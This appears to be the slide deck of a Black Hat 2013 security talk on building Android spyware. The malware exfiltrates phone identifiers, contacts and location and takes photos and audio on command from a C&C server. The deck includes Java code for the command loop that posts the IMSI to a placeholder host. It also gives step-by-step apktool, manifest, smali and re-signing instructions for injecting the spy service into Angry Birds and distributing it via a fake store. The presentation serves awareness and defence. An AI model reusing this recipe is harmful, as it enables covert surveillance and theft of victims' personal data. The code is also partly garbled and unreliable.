How to Build a SpyPhone
Black Hat 2013

Kevin McNamee
Alcatel-Lucent
Agenda

- Introduction
- Demo of SpyPhone in Action
- SpyPhone Design
- Injecting SpyPhone Service into an App
- Conclusion & Questions
SpyPhone - Now
Surveillance – Then
Surveillance - Now
Counter Measures – Then
Counter Measures - Now
Smart Phone Has Access To...

- GPS Location
- Internet (from almost anywhere)
- A Microphone
- A Camera
- Local Wifi Networks
- E-Mail
- Text Messages
- Phone Calls
- Contact List
- Personal Information
Smart Phone Is...

- A perfect cyber-espionage tool that can be used to track the victim’s location, download personal information, intercept and send messages, record their conversations and take pictures without them knowing.

- In the context of BYOD and APT, it makes a perfect platform for launching inside attacks on corporate or government networks.
Built an Android SpyPhone Service that can:
- Steal phone and contact information
- Report on location
- Execute commands from C&C server
  - Display message on phone
  - Send SMS to contacts
  - Take pictures and sent to C&C
  - Record sound and sent to C&C

SpyPhone Service is:
- Injected into legitimate version of Angry Birds
- Distributed from fake app store

Demo Shows
- Installation of infected application
- Sending information to C&C
- Locating the device
- Sending SMS
- Taking pictures
- Recording sound

C&C Server

C&C Protocol
DroidWhisper

Wed Feb 06 2013 16:14:33 GMT-0600 (Eastern Standard Time)

Device: af4322452d552d26

Device: 302220301242571
Very Angry Birds v1.0.0
By TheKnight. Updated October 12, 2011
428 0 0 Fun & Games

Download

Tags
android app bestseller Book books classics digital digital book
digital books ebooks free Fun
dunny game Magazine mobile music Novel puzzle the books
more tags

Download DroidDrop
Discover and download Android applications directly to
your device. Learn more.
Angry Birds

Do you want to install this application?

Allow this application to:

⚠️ Your location
course (network-based) location, fine (GPS) location
⚠️ Your personal information
read contact data
⚠️ Network communication
full internet access
⚠️ Storage
modify/delete SD card contents
⚠️ Hardware controls
take pictures and videos
⚠️ Services that cost you money
send SMS messages
⚠️ Phone calls
read phone state and identity

Install  Cancel

DroidWhisper

Wed Feb 06 2013 16:17:48 GMT-0600 (Eastern Standard Time)

Device: af4322452b552d26

Device: 302220301242571
DroidWhisper

Logged in as ksnextus2@gmail.com. Click to logout.

Wed Feb 06 2013 16:20:13 GMT-0500 (Eastern Standard Time)

Device: af4322452d552d26

Device: 30220301242571

Device: 3100046502210325
Device: 3100046502210325

Last Update: 2013-02-06T21:27:36.143Z
Owner:
Phone Number:
Phone Type: CDMA
Network Type: EVDO A
Device ID (MEID/IMEI): A000002C69E147
Mobile Subscriber ID (MSISN): 3100046502210325
Network Country Code: ca
Network Operator: Roaming
Network Operator MCC & MNC: 00000
SIM State: Ready
SIM Country Code: us
SIM Operator Code: Verizon
Software version: 0
Location: 45.3485647 -75.91890152857142

Contacts

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:

Name:
Phones:
Emails:
SpyPhone Design

• Implemented as Android Service
  – Self contained component
  – Runs in background even when app is stopped.
  – Starts at boot up
  – Easy to inject into legitimate applications
• Command & Control
  – HTTP to NodeJS Web Server

  update: send information to server
  toast: display message on screen
  shutdown: stop the bot
  sms: send SMS message to contacts
  location: send location information to server
  peep: take picture and send to server
  listen: record sound and send to server
private void processCommand() {
    // Fetch command from server.
    TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
    // String deviceId = telephonyManager.getDeviceId(); // IMEI for GSM, or MEID or ESN for CDMA
    String mobileSubscriberId = telephonyManager.getSubscriberId(); // IMSI
    if (mobileSubscriberId == null) {
        mobileSubscriberId = Secure.getString(getBaseContext().getSharedPreferences(Secure.ANDROID_ID, 0).getString(Secure.DEFAULT_STRING, null));
    }
    String responseBody = "";
    try {
        HttpClient httpclient = new DefaultHttpClient();
        HttpPost httpPost = new HttpPost("http://*HOST*/checkin");
        List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
        nameValuePairs.add(new BasicNameValuePair("IMSI", mobileSubscriberId));
        httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
        HttpResponse response = httpclient.execute(httpPost);
        responseBody = EntityUtils.toString(response.getEntity());
        if (responseBody.isEmpty()) Log.d(LOG_TAG, "HTTP Response body ":+"responseBody");
    } catch (ClientProtocolException e) {
        Log.d(LOG_TAG, "ClientProtocolException");
    } catch (IOException e) {
        Log.d(LOG_TAG, "IOException ":e.localizedMessage());
    }
    // Process command to fetch phone data
    if (responseBody.contains("update") || !newLocationAvailable) {
        Log.d(LOG_TAG, "processing update command");
        collectData();
        if (!newLocationAvailable) newLocationAvailable = false; // reset new location flag
    }
    // Process command to display popup
    if (responseBody.startsWith("Toast")) {
        Log.d(LOG_TAG, "processing toast command");
        final String msg = responseBody.substring(6);
        ToastHandler msg = new Runnable() {
            public void run() {
                Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
            }
        };
        Log.d(LOG_TAG, "finished processing toast command");
    } // Process command to cancel timers and stop the service
    if (responseBody.contains("shutdown") { 
        this.mUpdateTask.cancel();
        this.stopSelf();
    }
    // Process command to send SMS spam
    if (responseBody.contains("SMS")) {
        Log.d(LOG_TAG, "processing SMS command");
        // Send SMS to all contacts (demo notification)
    }
}
Uses Standard Android APIs

- **User Information**
  - import android.accounts.Account;
  - import android.accounts.AccountManager;

- **Phone & SMS**
  - import android.telephony.SmsManager;
  - import android.telephony.TelephonyManager;

- **Location**
  - import android.location.Location;
  - import android.location.LocationListener;
  - import android.location.LocationManager;

- **Recording**
  - Import android.media.MediaRecording

- **Camera**
  - import android.hardware.Camera;
  - import android.hardware.Camera.PictureCallback;
  - import android.hardware.Camera.PreviewCallback;
  - import android.hardware.Camera.Size;
  - import android.media.AudioManager;
  - import android.view.SurfaceHolder;
  - import android.view.SurfaceView;

- **Web C&C**
  - import org.apache.http.NameValuePair;
1. Use `apktool` to extract the components from the target app (in this case Angry Birds 2000).

```
apktool d AngryBirds.apk
```
2. Copy the smali code for the service to be injected into the smali directory structure. In our case it was in the directory "example/android/droidwhisper".
3. Update the manifest to include the injected service and the permissions required by the injected service. The updated manifest in the case of Angry Birds is shown below:

- Remember the app name for later
- Define the Droidwhisperer service
- Define required permissions

```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="2000" android:versionName="2.0.0"
android:installLocation="auto" package="com.rovio.angrybirds"
xmlns:android="http://schemas.android.com/apk/res/android">
<application android:label="@string/app_name" android:icon="@drawable/icon"
android:debuggable="false">
<activity android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
android:name="com.rovio.ka3d.App" android:launchMode="singleTask"
android:screenOrientation="landscape" android:configChanges="keyboardHidden|orientation">
<intent-filter>
  <action android:name="android.intent.action.MAIN" />
  <category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<service android:name="com.example.android.droidwhisper.DictionarySvc">
<intent-filter>
  <action android:name="com.rovio.ka3d.service.DICTIONARY_SERVICE" />
</intent-filter>
</service>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-sdk android:minSdkVersion="4" android:targetSdkVersion="13" />
</manifest>
```
4. Locate the `onCreate` function in the main activity of the target app. This can be found by looking in the manifest. In the case of Angry Birds this was “com/rovio/ka3d/App”, highlighted in the manifest file above. Add the following small code just after the “invok-super” call to `onCreate`.

```java
new-instance v0, Landroid/content/Intent;
    invoke-direct (v0), Landroid/content/Intent;-><init>()V
    .local v0, dictionaryIntent: Landroid/content/Intent;
    const-string v1, "com.rovio.ka3d.service.DICTIONARY_SERVICE"
    invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
    invoke-virtual {p0, v0}, Landroid/app/Activity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
```
5. Rebuild the apk file using apktool.

   apktool b AngryBirds birds.apk

6. Sign the APK file. (Any old certificate will do!)

   jarsigner -verbose -keystore C:\kevin\keys birds.apk alias_name

   You can verify the cert with...
   jarsigner -verify -verbose -certs birds.apk

7. Optimize the APK file.

   zipalign -v 4 birds.apk birds1.apk

8. Install and test the new application. The logcat command can be used in the adb shell to check for errors.

   adb install birds1.apk
SpyPhone Market

INTERCEPTOR SPYPHONE SOFTWARE
Receive both incoming and outgoing text messages
Call in and listen to surrounding vicinity
Text notification when the target phone is switched on
Time and date stamping
Text notification when the target phone is known call
Text notification shows number calling in
Text notifications when the target phone data
Text notification shows number being called

Spy Phone Software
The World Leader in Spy Phone Software for Monitoring your Android/Cell Phone.

Turn your Android into a Family Monitoring Tool
- GPS Tracking on Cell Phone Location
- View Incoming-Outgoing Calls
- View Incoming-Outgoing Text Messages
- View Websites Visited on Phone

100% Free Product
Get the App Now
Free Download

Spy Phone Software

iPhone Spy Phone

Alcatel-Lucent
blackhat USA 2013
Questions?